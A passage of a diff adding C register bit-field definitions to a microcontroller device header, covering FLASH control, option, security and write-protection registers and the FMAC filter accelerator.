Invert */ +#define FLASH_SECCR_LOCK_Pos (31UL) +#define FLASH_SECCR_LOCK_Msk (0x1UL << FLASH_SECCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_SECCR_LOCK FLASH_SECCR_LOCK_Msk /*!< Secure Lock */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0UL) +#define FLASH_ECCR_ADDR_ECC_Msk (0x1FFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x001FFFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_BK_ECC_Pos (21UL) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (22UL) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (24UL) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30UL) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31UL) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0UL) +#define FLASH_OPSR_ADDR_OP_Msk (0x1FFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x001FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Flash operation address */ +#define FLASH_OPSR_BK_OP_Pos (21UL) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (22UL) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29UL) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTR register ***************/ +#define FLASH_OPTR_RDP_Pos (0UL) +#define FLASH_OPTR_RDP_Msk (0xFFUL << FLASH_OPTR_RDP_Pos) /*!< 0x000000FF */ +#define FLASH_OPTR_RDP FLASH_OPTR_RDP_Msk /*!< Readout protection level */ +#define FLASH_OPTR_BOR_LEV_Pos (8UL) +#define FLASH_OPTR_BOR_LEV_Msk (0x7UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000700 */ +#define FLASH_OPTR_BOR_LEV FLASH_OPTR_BOR_LEV_Msk /*!< BOR reset Level */ +#define FLASH_OPTR_BOR_LEV_0 (0x1UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000100 */ +#define FLASH_OPTR_BOR_LEV_1 (0x2UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000200 */ +#define FLASH_OPTR_BOR_LEV_2 (0x4UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000400 */ +#define FLASH_OPTR_nRST_STOP_Pos (12UL) +#define FLASH_OPTR_nRST_STOP_Msk (0x1UL << FLASH_OPTR_nRST_STOP_Pos) /*!< 0x00001000 */ +#define FLASH_OPTR_nRST_STOP FLASH_OPTR_nRST_STOP_Msk /*!< nRST_STOP */ +#define FLASH_OPTR_nRST_STDBY_Pos (13UL) +#define FLASH_OPTR_nRST_STDBY_Msk (0x1UL << FLASH_OPTR_nRST_STDBY_Pos) /*!< 0x00002000 */ +#define FLASH_OPTR_nRST_STDBY FLASH_OPTR_nRST_STDBY_Msk /*!< nRST_STDBY */ +#define FLASH_OPTR_nRST_SHDW_Pos (14UL) +#define FLASH_OPTR_nRST_SHDW_Msk (0x1UL << FLASH_OPTR_nRST_SHDW_Pos) /*!< 0x00004000 */ +#define FLASH_OPTR_nRST_SHDW FLASH_OPTR_nRST_SHDW_Msk /*!< nRST_SHDW */ +#define FLASH_OPTR_SRAM_RST_Pos (15UL) +#define FLASH_OPTR_SRAM_RST_Msk (0x1UL << FLASH_OPTR_SRAM_RST_Pos) /*!< 0x00008000 */ +#define FLASH_OPTR_SRAM_RST FLASH_OPTR_SRAM_RST_Msk /*!< All SRAMs (except SRAM2 and BKPSRAM) erase upon system reset */ +#define FLASH_OPTR_IWDG_SW_Pos (16UL) +#define FLASH_OPTR_IWDG_SW_Msk (0x1UL << FLASH_OPTR_IWDG_SW_Pos) /*!< 0x00010000 */ +#define FLASH_OPTR_IWDG_SW FLASH_OPTR_IWDG_SW_Msk /*!< Independent watchdog selection */ +#define FLASH_OPTR_IWDG_STOP_Pos (17UL) +#define FLASH_OPTR_IWDG_STOP_Msk (0x1UL << FLASH_OPTR_IWDG_STOP_Pos) /*!< 0x00020000 */ +#define FLASH_OPTR_IWDG_STOP FLASH_OPTR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTR_IWDG_STDBY_Pos (18UL) +#define FLASH_OPTR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTR_IWDG_STDBY_Pos) /*!< 0x00040000 */ +#define FLASH_OPTR_IWDG_STDBY FLASH_OPTR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTR_WWDG_SW_Pos (19UL) +#define FLASH_OPTR_WWDG_SW_Msk (0x1UL << FLASH_OPTR_WWDG_SW_Pos) /*!< 0x00080000 */ +#define FLASH_OPTR_WWDG_SW FLASH_OPTR_WWDG_SW_Msk /*!< Window watchdog selection */ +#define FLASH_OPTR_SWAP_BANK_Pos (20UL) +#define FLASH_OPTR_SWAP_BANK_Msk (0x1UL << FLASH_OPTR_SWAP_BANK_Pos) /*!< 0x00100000 */ +#define FLASH_OPTR_SWAP_BANK FLASH_OPTR_SWAP_BANK_Msk /*!< Swap banks */ +#define FLASH_OPTR_DUALBANK_Pos (21UL) +#define FLASH_OPTR_DUALBANK_Msk (0x1UL << FLASH_OPTR_DUALBANK_Pos) /*!< 0x00200000 */ +#define FLASH_OPTR_DUALBANK FLASH_OPTR_DUALBANK_Msk /*!< Dual-bank on 1M and 512 Kbytes Flash memory devices */ +#define FLASH_OPTR_BKPRAM_ECC_Pos (22UL) +#define FLASH_OPTR_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTR_BKPRAM_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_OPTR_BKPRAM_ECC FLASH_OPTR_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTR_SRAM3_ECC_Pos (23UL) +#define FLASH_OPTR_SRAM3_ECC_Msk (0x1UL << FLASH_OPTR_SRAM3_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_OPTR_SRAM3_ECC FLASH_OPTR_SRAM3_ECC_Msk /*!< SRAM3 ECC detection and correction enable */ +#define FLASH_OPTR_SRAM2_ECC_Pos (24UL) +#define FLASH_OPTR_SRAM2_ECC_Msk (0x1UL << FLASH_OPTR_SRAM2_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_OPTR_SRAM2_ECC FLASH_OPTR_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction enable*/ +#define FLASH_OPTR_SRAM2_RST_Pos (25UL) +#define FLASH_OPTR_SRAM2_RST_Msk (0x1UL << FLASH_OPTR_SRAM2_RST_Pos) /*!< 0x02000000 */ +#define FLASH_OPTR_SRAM2_RST FLASH_OPTR_SRAM2_RST_Msk /*!< SRAM2 erase when system reset */ +#define FLASH_OPTR_nSWBOOT0_Pos (26UL) +#define FLASH_OPTR_nSWBOOT0_Msk (0x1UL << FLASH_OPTR_nSWBOOT0_Pos) /*!< 0x04000000 */ +#define FLASH_OPTR_nSWBOOT0 FLASH_OPTR_nSWBOOT0_Msk /*!< Software BOOT0 */ +#define FLASH_OPTR_nBOOT0_Pos (27UL) +#define FLASH_OPTR_nBOOT0_Msk (0x1UL << FLASH_OPTR_nBOOT0_Pos) /*!< 0x08000000 */ +#define FLASH_OPTR_nBOOT0 FLASH_OPTR_nBOOT0_Msk /*!< nBOOT0 option bit */ +#define FLASH_OPTR_PA15_PUPEN_Pos (28UL) +#define FLASH_OPTR_PA15_PUPEN_Msk (0x1UL << FLASH_OPTR_PA15_PUPEN_Pos) /*!< 0x10000000 */ +#define FLASH_OPTR_PA15_PUPEN FLASH_OPTR_PA15_PUPEN_Msk /*!< PA15 pull-up enable */ +#define FLASH_OPTR_IO_VDD_HSLV_Pos (29UL) +#define FLASH_OPTR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDD_HSLV_Pos) /*!< 0x20000000 */ +#define FLASH_OPTR_IO_VDD_HSLV FLASH_OPTR_IO_VDD_HSLV_Msk /*!< High speed IO at low voltage configuration bit */ +#define FLASH_OPTR_IO_VDDIO2_HSLV_Pos (30UL) +#define FLASH_OPTR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDDIO2_HSLV_Pos) /*!< 0x40000000 */ +#define FLASH_OPTR_IO_VDDIO2_HSLV FLASH_OPTR_IO_VDDIO2_HSLV_Msk /*!< High speed IO at low VDDIO2 voltage configuration bit */ +#define FLASH_OPTR_TZEN_Pos (31UL) +#define FLASH_OPTR_TZEN_Msk (0x1UL << FLASH_OPTR_TZEN_Pos) /*!< 0x80000000 */ +#define FLASH_OPTR_TZEN FLASH_OPTR_TZEN_Msk /*!< Global TrustZone security enable */ + +/**************** Bits definition for FLASH_NSBOOTADD0R register ************/ +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Pos (7UL) +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD0R_NSBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD0R_NSBOOTADD0 FLASH_NSBOOTADD0R_NSBOOTADD0_Msk /*!< Non-secure boot address 0 */ + +/**************** Bits definition for FLASH_NSBOOTADD1R register ************/ +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Pos (7UL) +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD1R_NSBOOTADD1_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD1R_NSBOOTADD1 FLASH_NSBOOTADD1R_NSBOOTADD1_Msk /*!< Non-secure boot address 1 */ + +/**************** Bits definition for FLASH_SECBOOTADD0R register ***********/ +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Pos (0UL) +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Msk (0x1UL << FLASH_SECBOOTADD0R_BOOT_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_SECBOOTADD0R_BOOT_LOCK FLASH_SECBOOTADD0R_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Pos (7UL) +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Msk (0x1FFFFFFUL << FLASH_SECBOOTADD0R_SECBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0 FLASH_SECBOOTADD0R_SECBOOTADD0_Msk /*!< Secure boot address 0 */ + +/***************** Bits definition for FLASH_SECWM1R1 register **************/ +#define FLASH_SECWM1R1_SECWM1_PSTRT_Pos (0UL) +#define FLASH_SECWM1R1_SECWM1_PSTRT_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM1R1_SECWM1_PSTRT FLASH_SECWM1R1_SECWM1_PSTRT_Msk /*!< Start page of first secure area */ +#define FLASH_SECWM1R1_SECWM1_PEND_Pos (16UL) +#define FLASH_SECWM1R1_SECWM1_PEND_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R1_SECWM1_PEND FLASH_SECWM1R1_SECWM1_PEND_Msk /*!< End page of first secure area */ + +/***************** Bits definition for FLASH_SECWM1R2 register **************/ +#define FLASH_SECWM1R2_HDP1_PEND_Pos (16UL) +#define FLASH_SECWM1R2_HDP1_PEND_Msk (0xFFUL << FLASH_SECWM1R2_HDP1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R2_HDP1_PEND FLASH_SECWM1R2_HDP1_PEND_Msk /*!< End page of first hide protection area */ +#define FLASH_SECWM1R2_HDP1EN_Pos (31UL) +#define FLASH_SECWM1R2_HDP1EN_Msk (0x1UL << FLASH_SECWM1R2_HDP1EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM1R2_HDP1EN FLASH_SECWM1R2_HDP1EN_Msk /*!< Hide protection first area enable */ + +/****************** Bits definition for FLASH_WRP1AR register ***************/ +#define FLASH_WRP1AR_WRP1A_PSTRT_Pos (0UL) +#define FLASH_WRP1AR_WRP1A_PSTRT_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1AR_WRP1A_PSTRT FLASH_WRP1AR_WRP1A_PSTRT_Msk /*!< Bank 1 WPR first area A start page */ +#define FLASH_WRP1AR_WRP1A_PEND_Pos (16UL) +#define FLASH_WRP1AR_WRP1A_PEND_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1AR_WRP1A_PEND FLASH_WRP1AR_WRP1A_PEND_Msk /*!< Bank 1 WPR first area A end page */ +#define FLASH_WRP1AR_UNLOCK_Pos (31UL) +#define FLASH_WRP1AR_UNLOCK_Msk (0x1UL << FLASH_WRP1AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1AR_UNLOCK FLASH_WRP1AR_UNLOCK_Msk /*!< Bank 1 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP1BR register ***************/ +#define FLASH_WRP1BR_WRP1B_PSTRT_Pos (0UL) +#define FLASH_WRP1BR_WRP1B_PSTRT_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1BR_WRP1B_PSTRT FLASH_WRP1BR_WRP1B_PSTRT_Msk /*!< Bank 1 WPR second area B start page */ +#define FLASH_WRP1BR_WRP1B_PEND_Pos (16UL) +#define FLASH_WRP1BR_WRP1B_PEND_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1BR_WRP1B_PEND FLASH_WRP1BR_WRP1B_PEND_Msk /*!< Bank 1 WPR second area B end page */ +#define FLASH_WRP1BR_UNLOCK_Pos (31UL) +#define FLASH_WRP1BR_UNLOCK_Msk (0x1UL << FLASH_WRP1BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1BR_UNLOCK FLASH_WRP1BR_UNLOCK_Msk /*!< Bank 1 WPR first area B unlock */ + +/***************** Bits definition for FLASH_SECWM2R1 register **************/ +#define FLASH_SECWM2R1_SECWM2_PSTRT_Pos (0UL) +#define FLASH_SECWM2R1_SECWM2_PSTRT_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM2R1_SECWM2_PSTRT FLASH_SECWM2R1_SECWM2_PSTRT_Msk /*!< Start page of second secure area */ +#define FLASH_SECWM2R1_SECWM2_PEND_Pos (16UL) +#define FLASH_SECWM2R1_SECWM2_PEND_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R1_SECWM2_PEND FLASH_SECWM2R1_SECWM2_PEND_Msk /*!< End page of second secure area */ + +/***************** Bits definition for FLASH_SECWM2R2 register **************/ +#define FLASH_SECWM2R2_HDP2_PEND_Pos (16UL) +#define FLASH_SECWM2R2_HDP2_PEND_Msk (0xFFUL << FLASH_SECWM2R2_HDP2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R2_HDP2_PEND FLASH_SECWM2R2_HDP2_PEND_Msk /*!< End page of hide protection second area */ +#define FLASH_SECWM2R2_HDP2EN_Pos (31UL) +#define FLASH_SECWM2R2_HDP2EN_Msk (0x1UL << FLASH_SECWM2R2_HDP2EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM2R2_HDP2EN FLASH_SECWM2R2_HDP2EN_Msk /*!< Hide protection second area enable */ + +/****************** Bits definition for FLASH_WRP2AR register ***************/ +#define FLASH_WRP2AR_WRP2A_PSTRT_Pos (0UL) +#define FLASH_WRP2AR_WRP2A_PSTRT_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2AR_WRP2A_PSTRT FLASH_WRP2AR_WRP2A_PSTRT_Msk /*!< Bank 2 WPR first area A start page */ +#define FLASH_WRP2AR_WRP2A_PEND_Pos (16UL) +#define FLASH_WRP2AR_WRP2A_PEND_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2AR_WRP2A_PEND FLASH_WRP2AR_WRP2A_PEND_Msk /*!< Bank 2 WPR first area A end page */ +#define FLASH_WRP2AR_UNLOCK_Pos (31UL) +#define FLASH_WRP2AR_UNLOCK_Msk (0x1UL << FLASH_WRP2AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2AR_UNLOCK FLASH_WRP2AR_UNLOCK_Msk /*!< Bank 2 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP2BR register ***************/ +#define FLASH_WRP2BR_WRP2B_PSTRT_Pos (0UL) +#define FLASH_WRP2BR_WRP2B_PSTRT_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2BR_WRP2B_PSTRT FLASH_WRP2BR_WRP2B_PSTRT_Msk /*!< Bank 2 WPR first area B start page */ +#define FLASH_WRP2BR_WRP2B_PEND_Pos (16UL) +#define FLASH_WRP2BR_WRP2B_PEND_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2BR_WRP2B_PEND FLASH_WRP2BR_WRP2B_PEND_Msk /*!< Bank 2 WPR first area B end page */ +#define FLASH_WRP2BR_UNLOCK_Pos (31UL) +#define FLASH_WRP2BR_UNLOCK_Msk (0x1UL << FLASH_WRP2BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2BR_UNLOCK FLASH_WRP2BR_UNLOCK_Msk /*!< Bank 2 WPR first area B unlock */ + +/****************** Bits definition for FLASH_SECHDPCR register ***********/ +#define FLASH_SECHDPCR_HDP1_ACCDIS_Pos (0UL) +#define FLASH_SECHDPCR_HDP1_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP1_ACCDIS_Pos) /*!< 0x00000001 */ +#define FLASH_SECHDPCR_HDP1_ACCDIS FLASH_SECHDPCR_HDP1_ACCDIS_Msk /*!< HDP1 area access disable */ +#define FLASH_SECHDPCR_HDP2_ACCDIS_Pos (1UL) +#define FLASH_SECHDPCR_HDP2_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP2_ACCDIS_Pos) /*!< 0x00000002 */ +#define FLASH_SECHDPCR_HDP2_ACCDIS FLASH_SECHDPCR_HDP2_ACCDIS_Msk /*!< HDP2 area access disable */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0UL) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1UL) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0UL) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8UL) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24UL) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0UL) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8UL) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0UL) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8UL) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24UL) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0UL) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8UL) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16UL) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24UL) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31UL) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0UL) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1UL) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2UL) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3UL) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4UL) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8UL) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9UL) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15UL) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16UL) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0UL) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< 